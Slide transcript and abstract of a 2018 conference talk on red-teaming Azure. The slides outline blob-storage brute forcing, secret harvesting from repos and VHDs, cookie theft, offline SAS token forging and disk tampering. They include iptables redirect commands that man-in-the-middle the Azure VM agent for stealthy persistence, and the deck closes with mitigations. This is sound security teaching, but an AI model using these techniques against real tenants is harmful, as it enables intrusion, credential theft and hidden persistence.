Blue Cloud of Death: Red Teaming Azure

Blue Cloud of Death: Red Teaming Azure

BSides Denver Presentation on May 11 2018

On-demand IT services are being publicized as the “new normal”, but often times these services are misunderstood and hence misconfigured by engineers which can frequently enable red teams to gain, expand, and persist access within Azure environments.

In this talk we will dive into how Azure services are commonly breached (e.g. discovering insecure blob storage), and then show how attackers are pivoting between the data & control planes (e.g. mounting hard disks, swapping keys, etc...) to expand access. Finally we will demonstrate some unique techniques for persisting access within Azure environments for prolonged periods of time.

Bryce Kunz (@TweekFawkes) is an Information Security Researcher located in Salt Lake City, Utah. Bryce currently leads the security offensive testing of Adobe's Marketing Cloud SaaS infrastructure via researching and developing custom exploits for web applications and other cloud based technologies. As a security professional, Bryce has spent time at various agencies (i.e. NSA, DoD, DHS, CBP) focusing on vulnerability research, penetration testing, and incident response. Bryce received an MBA from a NSA designated "Center of Excellence" Idaho State University (ISU) program with an emphasis in Information Assurance (IA) on a full academic scholarship from the National Science Foundation (NSF). Bryce holds numerous certifications (e.g. OSCP, CISSP, ...) and has spoken at various security conferences (i.e. DerbyCon, etc...).

18ad4afa3f7c77bd84c3300505468aa0?s=128

TweekFawkes

May 11, 2018
Tweet

Transcript

  1. 2.

    AGENDA … Agenda • Who Am I? • Azure Overview

    • Initial Access • Storage Access • Endpoint Access • Expanding Access • Persisting Access Bryce Kunz @TweekFawkes
  2. 4.

    THE PAST RED & BLUE... Red Team Adobe Digital Experience

    (DX) Bryce Kunz @TweekFawkes Offense NSA Defense DHS SOC
  3. 5.

    THE PRESENT CYBER SECURITY SERVICES Stage 2 Security BSidesSLC (

    CyberSecurity Services ) ( By & For the People ) Stage2Sec.com BSidesSLC.org Bryce Kunz @TweekFawkes
  4. 6.

    TRAINING AWS & AZURE EXPLOITATION: MAKING THE CLOUD RAIN SHELLS!

    CNO.io -Training (Salt Lake City, Utah) July 12th & 13th SOLD OUT! BlackHat USA (Las Vegas, NV) August
  5. 11.

    CONTROL Azure CIoud Portal Control Data Admin … From our

    vantage point … … mostly just REST APIs …
  6. 13.

    SERVICES Azure CIoud Portal VMs Control Storage Data Apps Admin

    …too many for any human to care about… LBs
  7. 14.

    SERVICES Portal VMs Control Storage Data Apps Admin …too many

    for any human to care about… LBs Azure CIoud
  8. 17.
  9. 22.

    ACCOUNTS … Customer Types: • Standard • Enterprise Agreement •

    - Departments Account Admin Service Admin Co-Admin Subscription (e.g. IT) Azure Account (Center) Subscription (e.g. R&D) RG Stage RG Prod R R R R RG Stage RG Prod R R R R Service Admin Co-Admin
  10. 24.

    OSINT Azure CIoud Portal Control Storage Data Apps Admin …

    LBs … CI Pipeline Users VMs Dev Internet Collaboration Hacker
  11. 27.

    REPOS Azure CIoud Portal Control Storage Data Apps Admin …

    LBs … CI Pipeline Users VMs Dev Internet Collaboration Hacker Repos
  12. 28.

    BITBUCKET Bryce Kunz - @TweekFawkes Find a Azure Secrets •

    Open Source Intel • Code Repositories • - BitBucket, GitLab • - Gerrit, GitBlit, Git • - SVN, etc…
  13. 29.

    CI Azure CIoud Portal Control Storage Data Apps Admin …

    LBs … CI Pipeline Users VMs Dev Internet Collaboration Hacker Repos
  14. 30.

    DEPLOY ACCESS Bryce Kunz - @TweekFawkes Find a Azure Secrets

    • Open Source Intel • Code Repositories • Deployment Tools • - Puppet, etc… • - Jenkins, etc…
  15. 31.

    Azure CIoud Portal Control Storage Data Apps Admin … LBs

    … CI Pipeline Users VMs Dev Internet Collaboration Hacker Repos ENDPOINT
  16. 32.

    HACK & D/L ACCESS Bryce Kunz - @TweekFawkes Find a

    Azure Secrets • Open Source Intel • Code Repositories • Deployment Tools • Configuration Files • - Classic Hacks • -- D/L Secrets
  17. 33.

    Azure CIoud Portal Control Storage Data Apps Admin … LBs

    … CI Pipeline Users VMs Dev Internet Collaboration Hacker Repos MANY ROADS TO PWNAGE
  18. 34.

    I Heart AWS & Azure! Just in case you think

    AWS or Azure is bad… Here is what I really like about it! • Assessment Management is Awesome! • Scaling of Logging can be Amazing! • Read-Only / Auditor Access is Easy to Setup!
  19. 38.
  20. 40.
  21. 42.

    DNS BRUTE FORCE … … - Only contains lowercase letters

    and numbers. - Name must be between 3 and 24 characters. Lower Chars & Nums Count Run Time (100 Threads) 3 46,656 ~1 min 4 1,679,616 ~25min 5 60,466,176 ~15 hours 6 … etc … … etc …
  22. 45.

    BRUTE FORCE Possible but kind of sucks to brute force

    or guess three separate variables/parameters in the URL. e.g.: https://bcodstoragetest005.blob.core.windows.net/containertest005/test.txt Storage Account Name: bcodstoragetest005 Container Name: containertest005 Blob Name: test.txt
  23. 48.

    LOLRUSLOVE Spider Website for Links to Azure Blobs • CNAME

    Lookup on FQDNS TODO: INSERT Screen Shot TODO: Demo?
  24. 50.

    Azure CIoud Portal Control Storage Data Apps Admin … LBs

    … CI Pipeline Users VMs Dev Internet Collaboration Hacker Repos STORAGE
  25. 51.

    FIND CERT *.publishsettings Get-AzurePublishSettingsFile • Management Certificates A "publish settings

    file" is an XML file with a .publishsettings file name extension. The file contains an encoded certificate that provides management credentials for your Azure subscriptions.
  26. 52.

    FIND SECRET “web.config” - ASP.NET “app.config” - C#.NET • SAS

    URI • Connection String • Account Name & Key
  27. 57.

    VHDS Download vhds • Code Review • Secrets on Disk

    • Linux - grep for “shadow” hashes
  28. 58.

    VHDS Download vhds • Code Review • Secrets on Disk

    • Linux - grep for “shadow” hashes
  29. 59.
  30. 61.

    Azure CIoud Portal Control Storage Data Apps Admin … LBs

    … CI Pipeline Users VMs Dev Internet Collaboration Hacker Repos STORAGE
  31. 64.

    SAS TOKEN OFFLINE MintyOffline Append the Following: - Storage Account

    Name - Permissions, Protocol - Service, Resource Type - Start Time, Expire Time - & API Version HMAC to creation token using: - Key -> Storage Key - Msg -> Appended String - SHA256 Formatting of the Data (e.g. Encode)
  32. 66.

    Azure CIoud Portal Control Storage Data Apps Admin … LBs

    … CI Pipeline Users VMs Dev Internet Collaboration Hacker Repos ENDPOINT
  33. 68.

    CLI AUTH. “az login” (After logging in, your login token

    is valid until it goes for 14 days without being used.)
  34. 69.

    BROWSER COOKIE “az login” (After logging in, your login token

    is valid until it goes for 14 days without being used.)
  35. 70.

    STEAL COOKIE! “az login” (After logging in, your login token

    is valid until it goes for 14 days without being used.)
  36. 71.

    CLI AUTH. “az login” (After logging in, your login token

    is valid until it goes for 14 days without being used.)
  37. 76.

    Azure CIoud Portal Control Storage Data Apps Admin … LBs

    … CI Pipeline Users VMs Dev Hacker DATA -> CONTROL
  38. 77.

    AZURE META Metadata Service: 169.254.169.254 curl http://169.254.169.254/metadata/v1/maintenance curl http://169.254.169.254/metadata/v1/InstanceInfo (these

    are mostly useless for hackers…) but useful information is copied into the … /var/lib/waagent directory when the instance is created… (root access needed) • IP address, hostname, subscription ID, resource group name, etc… …
  39. 78.

    Azure CIoud Portal Control Storage Data Apps Admin … LBs

    … CI Pipeline Users VMs Dev Hacker CONTROL -> DATA
  40. 80.

    HARD BOOT Google: “Reset local Windows password for Azure VM

    offline” … Horrible OPSEC but it works… - Power off a server - Mount the server’s hard drive using another VM - Modify the server for remote access (e.g. add an SSH key to root user) - Power back on the server & PROFIT!
  41. 84.

    Azure CIoud Portal Control Storage Data Apps Admin … LBs

    … CI Pipeline Users VMs Dev Internet Collaboration Hacker Repos CONTROL
  42. 85.

    SERVICE PRINCIPALS (the recommended approach) Permissions-Restricted Accounts “az login --service-principal”

    … …not tied to any particular user… …have permissions on them assigned through pre-defined roles. Multiple Passwords!
  43. 88.

    START DIGGING • ps auxfww • file • python source

    code review Listening Services • netstat -nltpu Active Connections • netstat -natpu
  44. 89.

    • b: set a breakpoint • c: continue debugging until

    you hit a breakpoint • s: step through the code • n: to go to next line of code • l: list source code for the current file (default: 11 lines including the line being executed) • u: navigate up a stack frame • d: navigate down a stack frame • p: to print the value of an expression in the current context PYTHON DEBUGGER • pdb
  45. 90.

    SYSDIG sysdig -w 005.scap systemctl start walinuxagent.service /usr/bin/python3 -u /usr/sbin/waagent

    –daemon sysdig -r 005.scap … • -c topfiles_bytes • -c topprocs_net • -c echo_fds • -c fdbytes_by fd.directory "fd.type=file“ • -c fdbytes_by fd.filename "fd.directory=/var/lib/waagent“ …
  46. 93.

    TASKS Periodically pulls HTTP API for taskings • http://168.63.129.16 •

    (local azure fabric address) <Incarnation>2</Incarnation> • Signals agent for additional tasks Control http://168.63.129.16 GET /machine/?comp=goalstate --- <Incarnation>2</Incarnation>… Agent
  47. 94.

    HOST CONFIGS Pulls hostingEnvironmentConfig Control http://168.63.129.16 GET /machine/ … type=

    hostingEnvironmentConfig --- rd_fabric_stable_dhf5.150807- 2320.RuntimePackage_1.0.0.14. zip Agent
  48. 96.

    EXTENSION CONFIGS Pulls Extension Configuration • In this case, the

    command to run Control http://168.63.129.16 GET /machine/ … type=extensionsConfig --- Command to Run Agent
  49. 98.

    VMs Portal Control Storage Data Admin … … CI Pipeline

    Users VMs Dev Internet Hacker Repos CREDS IN REPO
  50. 99.

    VMs Portal Control Storage Data Admin … … CI Pipeline

    Users VMs Dev Internet Hacker Repos VHDS -> CERTS
  51. 100.

    VMs Portal Control Storage Data Admin … … CI Pipeline

    Users VMs Dev Internet Hacker Repos SUBSCRIPTION
  52. 102.

    PERSIST? Without getting caught? Bypass • File Integrity Monitoring •

    So we can’t modify files • osquery - process list • So we can’t be seen in ps • osquery - netstat • So we can’t be seen in netstat … ?
  53. 104.

    VMs Storage Users Hacker BEACHHEAD Control http://168.63.129.16 Malware Agent Beachhead

    10.0.4.5 VMs 10.0.4.4 Ideally… • Not of high value • Not monitored closely Install our Malware • To ensure access
  54. 105.

    VMs Storage Users VMs 10.0.4.4 Hacker REDIRECT Control http://168.63.129.16 Beachhead

    10.0.4.5 Malware Agent Redirect Agent • via iptables iptables -t nat -I OUTPUT -p tcp --dport 80 -d 168.63.129.16 -m comment --comment "totes not evil" -j DNAT -- to-destination 10.0.4.5:80 Netstat Looks Normal! No New Procs!
  55. 106.

    VMs Storage Users VMs 10.0.4.4 Hacker MITM Control http://168.63.129.16 Beachhead

    10.0.4.5 Malware Agent Pass API Requests • via mitmproxy iptables -t nat -I OUTPUT -p tcp --dport 80 -d 10.0.4.5 -m comment -- comment "totes not evil" -j DNAT --to-destination 168.63.129.16:80 MITM
  56. 107.

    VMs Storage Users Hacker EXEC Control http://168.63.129.16 Beachhead 10.0.4.5 Malware

    Tasks Created within the Azure Subscription for the Beachhead with the MITM software on it, which will get redirected and executed on the remote target through the pulling process of the Azure endpoint agent MITM Agent VMs 10.0.4.4
  57. 109.

    GOING THE DISTANCE! • Only match the redirect during certain

    times of the day • man iptables-extensions -> time • … -m time --timestart 01:00 --timestop 02:00 --days Mon,Tue,Wed,Thu,Fri … • Match the redirect periodically • pulls via GETs every 3 seconds • … -m limit -limit … -limit-burst …
  58. 110.

    MITIGATIONS • Single Purpose Secrets • Limited the Access of

    each Secret • Create roles and limit the access of each role • You can ACL off secrets to only work from certain IP addresses • Log API calls (e.g. cloudtrail) • Never use root secrets (use as a break glass account only) • Rotate Secrets Frequently • Encrypt secrets within GIT and other data stores …
  59. 111.

    THANKS! Stage 2 Security ( Red Teaming AWS & Azure

    Env. ) Stage2Sec.com Bryce Kunz @TweekFawkes CNO.io -Training (Salt Lake City, Utah) July 12th & 13th